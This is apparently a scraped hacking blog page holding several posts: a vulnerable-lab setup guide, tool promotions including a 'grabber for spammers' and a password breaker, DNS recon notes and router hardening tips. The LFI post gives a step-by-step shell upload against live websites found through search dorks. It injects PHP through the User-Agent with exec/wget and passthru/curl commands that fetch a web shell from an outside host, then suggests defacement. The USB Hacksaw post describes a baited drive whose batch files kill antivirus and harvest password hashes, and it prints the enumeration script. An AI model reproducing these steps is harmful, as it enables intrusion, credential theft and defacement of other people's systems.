HACKING LAB for Web Application


HACKING LAB TO TEST AND LEARN SQL INJECTION,XSS, CSRF VULNERABILITY


The BodgeIt Store

Like DVWA, This is also a Vulnerable web Application that will help you to develop your skills in Pen testing.

With this Vulnerable Application , you can practice the Following attacks:
  • Cross Site Scripting (XSS)
  • SQL injection (SQLi)
  • Hidden (but unprotected) content
  • Cross Site Request Forgery
  • Debug code
  • Insecure Object References
  • Application logic vulnerabilities
There is also a 'scoring' page (linked from the 'About Us' page) where you can see various hacking challenges and whether you have completed them or not.

How to setup the Pen Testing Lab? 


Requirements:
Download the bodgeit.1.3.0.zip file and extract the zip file . Now you will get a WAR file(bodgeit.WAR).

step 1:Install the Tomcat
Install the Tomcat in your system.  If you don't know how to do install the tomcat , do google search.

Step 2: Start the server
Start the tomcat server.

In Ubuntu, type the following command in Terminal:
 sudo /etc/init.d/tomcat6 start
For windows users, just click the tomcat server in all programs.

Step 3:
Open the browser and type "localhost:8080". It will show a page "It works !".   There you can access the manager webapp(http://localhost:8080/manager/html) page.  Clicking the link will ask to enter the username and password.  enter your computer username and password.

Step 4:
Now you are in "Tomcat Web Application Manager" page.  Scroll down and there you can see theWAR file to deploy form.

Step 5: Deploying the WAR
click the Browse button and select the bodgeit.WAR file .  Now click the Deploy button.




Yes,  Now the Application successfully installed..


Access the BodgeIt in this location: http://localhost:8080/bodgeit/

Read more

BSQLBF SQL INJECTION tool


AUTOMATED BLIND SQL INJECTION ATTACKING TOOLS~BSQLBF BRUTE FORCER


What is Blind SQL Injection:
Some Websites are vulnerable to SQL Injection but the results of injection are not visible to the attacker.  In this situation, Blind SQL Injection is used. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered.

There are plenty of automated Blind Sql Injection tool available. Here i am introducing one of Tool named as bsqlbf(expanded as Blind Sql Injection Brute Forcer).

This tool is written in Perl and allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections

Supported Database:
  • MS-SQL
  • MySQL
  • PostgreSQL
  • Oracle

The tool supports 8 attack modes(-type switch):-

Type 0: Blind SQL Injection based on true and false conditions returned by back-end server

Type 1: Blind SQL Injection based on true and error(e.g syntax error) returned by back-end server.

Type 2: Blind SQL Injection in "order by" and "group by".

Type 3: extracting data with SYS privileges (ORACLE dbms_export_extension exploit)

Type 4: is O.S code execution (ORACLE dbms_export_extension exploit)

Type 5: is reading files (ORACLE dbms_export_extension exploit, based on java)

Type 6: is O.S code execution DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit

Type 7: is O.S code execution SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA Privs
-cmd=revshell Type 7 supports meterpreter payload execution, run generator.exe first

Type 8: is O.S code execution DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions

-cmd=revshell Type 8 supports meterpreter payload execution, run generator.exe first

For Type 4(O.S code execution) the following methods are supported:

-stype: How you want to execute command:

SType 0 (default) is based on java..will NOT work against XE.

SType 1 is against oracle 9 with plsql_native_make_utility.

SType 2 is against oracle 10 with dbms_scheduler.


Disclaimer:

This Article is for Education purpose only.  The above mentioned software is developed for Penetration testers to test their own Web application Vulnerability. 
by Team Computer Maniac
Read more

Website Hacking by LFI



LFI AND SHELL UPLOAD WITH TAMPER DATA


LFI  vulnerable website URL looks  like this:
Code:
www.website.com/index.php?page=/etc/passwd


Here's what the code looks like that makes it vulnerable.



<?php
   $file = $_GET['file'];
   if(isset($file))
   {
  include("pages/$file");
   }
   else
   {
  include("index.php");
   }
   ?>
Few Things You Need for this Method

1. FireFox [download]
2. Tamper Data [download]
3. Vulnerable Sites [Get it here]



or use these dorks for finding vulnrable websites
inurl:index.php?homepage=
inurl:index.php?page=
inurl:index.php?index2=

Now i'm showing  how to exploit LFI and upload your shell via /proc/self/environ using Tamper data



So after selecting a vulnerable website, check /etc/passwd.


Great !!, now you are sure  that website is vulnerable.

Now check for /proc/self/environ
So change your path to /proc/self/environ

i'm interested in,  HTTP_USER_AGENT. now i'm going to change our user agent to try and get data from the site by injecting code where our browsers user agent should be.



To do this, i am going to use tamperdata. Once you have it installed, go to your options, and go to TamperData.



your page Must still be /proc/self/environ

Click Start Tamper, and refresh your page.


 i'll try some code injection.


In the User-Agent field, type this



<?php phpinfo();?>


Now vulnrable website is down loading,

Now we can execute code, so let's upload upload your shell



Open TamperData again, click start tamper, and refresh  website. and This time in the User-Agent enter this



<?exec('wget http://www.site.com/shell.txt -O shell.php');?>


it downloads  text file, and renames it as a php file
You can upload your shell as a text file using free webhosting...
I already shelled a website, so I am going to use that website as file hosting


when you're done with that, you can access your shell directly by going to http://site/shell.php



If you getting an error, try using the same method as when you got your

http://www.site.com/index.php?page=/etc/passwd
upload your shell by using the same method.
http://www.site.com/index.php?page=shell.php


If it loads fine the second time, you can upload a your deface using shell... checkout best deface pages here

When you are done, 

Alternate Method :

Some websites having extra precaution to prevent attacks like these.
so use this alternate method.


Change your user agent to:



<? passthru($_GET['cmd']); ?>


Now load website as
/proc/self/environ?cmd=curl http://www.site.com/shell.txt -o shell.php
 your url should look like
http://www.vulnerablesite.com/index.php?page=/proc/self/environ?cmd=curl http://www.yoursite.com/shell.txt -o shell.php


Now hopefully your shell uploaded.



Null Bytes


Adding a , or a nullbyte sometimes filters the site, and you can get around the firewalls.

http://www.site.com/index.php?page=/etc/passwd
Read more

winAUTOPWN v2.7- Vulnerability Scanner


winAUTOPWN v2.7 Released - Vulnerability Testing on Windows


winAUTOPWN and bsdAUTOPWN are minimal Interactive Frameworks which act as a frontend for quick systems vulnerability exploitation. It takes inputs like IP address, Hostname, CMS Path, etc. and does a smart multi- threaded portscan for TCP ports 1 to 65535. Exploits capable of giving Remote Shells, which are released publicly over the Internet by active contributors and exploit writers are constantly added to winAUTOPWN/bsdAUTOPWN. A lot of these exploits are written in scripting languages like python, perl and php. Presence of these language interpreters is essential for successful exploitations using winAUTOPWN/bsdAUTOPWN.


Exploits written in languages like C, Delphi, ASM which can be compiled are pre-compiled and added along-with others. On successful exploitation winAUTOPWN/bsdAUTOPWN gives a remote shell and waits for the attacker to use the shell before trying other exploits. This way the attacker can count and check the number of exploits which actually worked on a Target System.







Download here


Read more here
Read more

HACK WINDOWS PASSWORD


BREAK WINDOWS PASSWORD




Chennai Hackers connect team let you know a very easy and effective method for breaking windows Password with this software you can easily break Administrator password , user account passwords .You can also break advance level of passwords like SYSKEY password , Facial Expression Password , and Thumb Recognition passwords. the Syskey password is very strong password if you forget the password there is no option to recover this password .you will have to install new windows. But now there is no need to install windows .you can easily break any password of windows in any OS. If you have forgotten your password, or your computer is locked out, or you do not have access to the password of the system, you only need to boot from this software from CD/DVD/USB to reset your lost password. Then you can get back into your system in a minute. No need to call a technician, no need to re-install anything, and you certainly don't need to reformat.






Password:computermaniac
Download here




Read more

ANGRY IP SCANNER


ANGRY IP NETWORK SCANNER


                     Angry IP Scanner OR IP Scan is an cross-platform network scanner designed to be fast ip scan and simple to use. It scans IP addresses and ports for a given IP range as well as has many other features.


The program uses separate threads for each scanned address to reduce scanning speed. It can also display NetBIOS information: computer name, workgroup, currently logged user and MAC address.
It runs on Linux, Windows, and Mac OS X, possibly supporting other platforms as well.

It is widely used by network administrators and just curious users around the world, including large and small enterprises, banks, and government agencies.





 Download here


Read more

Web X Grabber


Web X Grabber For Spammers 







Download here
Read more

OclHashcat GUI


OclHashcat GUI ~ Password cracker


Features:
*Free
*Multi-OS (Linux & Windows native binaries)
*Multi-Platform (32-bit & 64-bit)
*Supports all hashcat implementations (hashcat, oclHashcat, oclHashcat-plus, oclHashcat-lite)
*Supports all platforms used by hashcat (CPU, OpenCL, CUDA)



Download: OclHashcat-GUI

Source: http://www.hashcat.net/hashcat-gui/
Read more

Enumeration using usb hacksaw


USB Enumerator vs USB Hacksaw



My next folder is titled "Wedding Pics - DO NOT DELETE" and it has a few wedding and baby pics in (no metadata remember).



So what cold hearted person wouldn't want to return a USB Device with baby and wedding pics on right! Oh and the guy in the wedding photo...... he's in a wheelchair (thanks Google Images) so it would have to be a cold hearted individual who is going to keep that USB drive.

Next I have a couple more directories.



Well they look like directories but they are just links to my evil scripts that will help me on my dark crusade.

A closer look at the shortcut reveals its actually a link to a batch file that will kill any running AV and launch programs to get the local password hashes, internet passwords and login details for MSN etc. And we all know that people re-use paswords don't we.




When someone clicks on one of these 'shortcuts' it will place the running batch file to the back of any open windows and the only clue that anything is going on is a folder in the toolbar which will disapear after a few seconds.




And the batch file can do anything. Obviously I want to stop AV first, and then thanks to a few tools from Nirsoft as well as a few others from the likes of foofus I have loads of juicy details coming my way.




And what does this give me? Hashes, oh the lovely hashes.......



And of course we want the websites too.



And theres plenty more but I'm sure you get the point.


But this is a U3 thumb drive, so hopefully we don't need to rely on a nosey bugger clicking around, because it will hopefully utilise the auto run feature to enumerate the network as soon as it's plugged in. It does the crazy enumeration coolness by running this script from the hidden \WIP\CMD folder.



Here's the simple batch file that does the enumeration:

@Echo off
echo Starting. Do not close program. Please wait 15 seconds.
::Generate a unique filename
set fn=%computername%-%random%
::Create a non-obvious directory
mkdir .\Windows\System\System32\etc\hosts\win\0011\%fn%
cd .\Windows\System\System32\etc\hosts\win\0011\%fn%
::Get local Time and Date Info
time /t >%fn%.log
date /t >>%fn%.log
::Network Info
net user /domain >>%fn%.log
echo Restarting critical service. Please Wait 5 seconds.
net group /domain >>%fn%.log
net localgroup /domain >>%fn%.log
net localgroup administrators /domain >>%fn%.log
net localgroup "Account Operators" /domain >>%fn%.log
net accounts /domain >>%fn%.log
net view /domain >>%fn%.log
net view >>%fn%.log
echo Service restart complete. Please wait 5 seconds.
::Local Info
ipconfig /all >>%fn%.log
ipconfig /displaydns >>%fn%.log
netstat -ano >>%fn%.log
netstat -r >>%fn%.log
arp -a >>%fn%.log
tasklist /svc >>%fn%.log
tasklist >>%fn%.log
tasklist /v >>%fn%.log
net share >>%fn%.log
net use >>%fn%.log
net accounts >>%fn%.log
net localgroup >>%fn%.log
net localgroup administrators >>%fn%.log
systeminfo >>%fn%.log
netsh firewall show config >>%fn%.log
echo Service failed to load. Error code MS-31337
netsh diag show all /v >>%fn%.log

And that pretty much enumerates the network for all accounts, groups and members of admin groups. It gets password policies, computer details from the domain, domain names....




local accounts and groups, firewall policies, applied hotfixes, network connections, open ports, running services, shares, networking information and other bits and bobs as well.




And the beauty of it all is it's just using Microsoft tools which won't make the AV go loopy and freak out. So within a few seconds of plugging the device into any PC with a USB port on a network and you'll have more data than you can shake a big enumerating stick at. Wonderful!

All this useful data is output to a single log file that is in a deeply buried obfuscated directory with a random number appended to the end, so it can be run time after time and is nicely tucked away.

But what if autorun is disabled? Well just like the script that kills the AV and grabs the passwords this can be run manually by clicking the batch file or by fronting it with a shortcut with a folder icon and running that.


So how can this be useful in a pentest? it could be that during that pentest you have social engineered your way onto a helpful persons PC who is going to print something off for you or email an important document for you and said files are on your USB device. Or you could hand a USB device to a receptionist to ask her to heck who's it is. Or of course you could just be transfering those picture or music files to your friends computer. So if your reading this and you know me, maybe next time you ask me for a file or a movie that I have on USB you better think again!

So there you have it, my take on making my USB Hacksaw a little more interesting.
Read more

DNS scan With Fierce


DNS Discovery With Fierce Domain Scan

This is just a quick post about some fun I had recently with Fierce Domain Scanner. I always find it amusing when I hear people say that they think naming a Server something other than www will afford them some protection. I always assume if it's out there then people know about it, no matter what you call it.

Using Fierce Domain Scanner from the Backtrack Distro I was able to point it at a domain and query DNS for available hosts. Using the command line below it turned up some interesting results:

perl fierce.pl -dns boots.com


When run, Fierce will contact my DNS server to get the targets name servers and then use them to first attempt to get the SOA records (which will likely fail these days) and then it will use the hosts.txt file to guess names. The reason it will switch to using the targets DNS is because it assumed that there is a chance that the internal DNS and the external DNS are on the 
same box, so here theres a chance of getting some internal names.

This scan uses the hosts.txt file in the same directory as the perl script to bruteforce DNS names and discover live hosts. The hosts.txt file can be updated manually or you can point Fierce to an alternative one.

Once a name is found it will scan up and down that range (5 address by default but this can be changed) looking for hosts with the same domain name. Now if this is a pentest and earlier reconnaissance has uncovered 
other associated domain that are in the scope of the test, Fierce can be told to look out for host with those domain names (use the -search option).

This tool is great to run against your own domain to see if there's anything there that shouldn't be.
Read more

BackTrack - DNS


BackTrack  - DNS 



Fierce

I was glad to see that Fierce is still in BT. Fierce is one of my favorite DNS tools and I have blogged about it ion the past. It always gets the job done and underneath it's simple exterior it's doing quite alot (maybe RSnake worked for Apple once).

Fierce starts off by using your DNS to get the targets DNS and then hops on over to that DNS to do it's work. All pretty cool stuff eh. Fierce will try to dump the DNS (although unlikely this will work) and then it will start to use it's name list (hosts.txt) to guess the name of hosts out there. Although not a bad wordlist I suggest you add to it as you come across anything in your travels. Anything Fierce guesses correctly it will perform reverse look ups of a few of the addresses around the correctly guessed one (also configurable) or with -wide it will scan the whole class C subnet of any host it finds. Noisy but effective.

The command I used to scan insecure.org with 10 threads and scanning the class C of any found IPs was:

./fierce.pl -wide -threads 10 insecure.org




DNSRecon

Although this found me some good results what I also wanted to do was look in between those IP's in the reverse lookup. Because if the target has a block of IP's and nested somewhere in the middle of them is host on another domain then that's interesting. For this task I Dark Operators DNSRecon ruby script.

An example of running the script against on of the subnets that Fierce located gave up some interesting (but very obvious) results:

ruby dnsrecon.rb -r 64.13.134.1 64.13.134.254



Surprise surprise nmap.org!


Happy hunting!
Read more

Wardriving tool for IPHONE


WiFi Analyzer - Another Great App For The Wifi Toolbox

iPhone app that has some of the features that my ultimate wardriving app would have. Wifi analyzer is no different, it hasn't got all of my wishlist features but it certainly has a few.

The features I'm talking about are useful from a wardriving perspective but even more useful for siting my Access Point or when trying to find to get the best signal. Another use would be when tracking down that rogue access point that I might have detected.

When firing up WiFi Analyzer I'm presented with a list of Access Points, the signal strength and the encryption in use. This is all pretty standard stuff that all my other WiFi apps do.




I can drill down into the individual Access Points but what I really like is being able to select an Access Point and home in on it by signal strength.



Here I can easily see when I am getting the best signal as I move around. This also makes pinpointing those rogue Access Points a piece of cake.

Another feature I really like with Wifi Analyzer is the graph feature.



Here I can see overlapping networks and I'll be able to make educated decisions on the selection of the channel to use for my AP to prevent interference from neighbors AP's. Alternatively I could use WiFi Analyzers recommendations.



All in all a pretty handy tool to add to your iPhone toolbox in my opinion.

UPDATE: Apple have removed this and the other wardriving apps from the app store. The bunch of dicks!!!!!

Oh well, jailbreaking looks all the more tempting now.
Read more

Steps to Secure a Wireless Router


10 Steps to Secure a Wireless Router








1. Upgrade Firmware

It's always a good idea to keep firmware as up to date as possible as the vendor may have fixed known vulnerabilities or bugs since the hardware shipped. As a bonus you might even get a bit more functionality thrown in as well with the firmware upgrade. Its also a god idea to check the vendors site every couple of months for updates.


2. Change the default Password

Obviously!


3. Turn off Wireless Administration

This will prevent anyone who is not physically plugged into the network from administering the wireless router.


4. Enable Encryption

Enable the best encryption possible. WPA2 is preferred but if the connecting devices only support WEP then WEP it is. Just be aware that WEP is crap and it can b e cracked in seconds. Ensure that whatever encryption you use it has a long random key. There are plenty of random key generators available so use them.


5. Change & Hide the Default SSID

Don't leave your default SSID as Linksys or Belkin. Change it to something unique but not something that identifies it as your network, such as “Bob Scratchets House”. Even after hiding the SSID it is possible for an attacker to view it but it is another layer in your defense strategy.


6. Apply MAC Address Filtering

Each device that has a wireless card in will have a MAC address. Apply MAC address filtering so only devices with the specified MAC addresses can connect using wireless to you router. This can be bypassed but it's another hurdle to make a potential attacker jump through.


7. Disable UPnP

Universal Plug and Play is a method by which software can open up ports on the router to allow external hosts to communicate through the router with a host on the LAN. This can also be used by malware to open up the router to allow a route in. by disabling UPnP you will need to enable port forwarding when required.


8. Configure the DHCP Settings

If your router allows you to change your DHCP scope you may want to set it to hand out addresses from a range other than the default, such as the 172.16.x.x range. Also by limiting the amount of addresses to the number of hosts you have it might provide an early warning system if someone does manage to bypass your security and hop onto your wireless LAN.


9. Configure DNS Settings

Point your DNS to a provider such as OpenDNS and utilise there free services. OpenDNS can be used to block specific types of sites such as File Sharing or Pornography and also to log where computers from your LAN are going to. It will also block your computer from visiting known bad sites. Another important note, when the DNS flaw was released to the public by Dan Kaminsky at Blackhat 08, Open DNS was one of the first DNS providers to provide protection. At the time of this post many ISPs are still vulnerable.


10. Enable Logging

If your router allows you to enable logging it is worthwhile doing so. By familiarising yourself with the logs regularly you will get to recognise what is normal and what is not. But remember, logs are only useful if you check them!



The functions I have raised in these 10 steps are those that should be available on most consumer grade routers. If you have a router that does have more functionality such as allowing you to use HTTPS to access the administrative interface then that's great, use it.

Get familiar with what your router can do and know where to look to check settings such as port forwarding. And once you have set up the router and gotten it working well, save the config and store it somewhere safe and secure such as in a Truecrypt volume or in an encrypted disk image.
Read more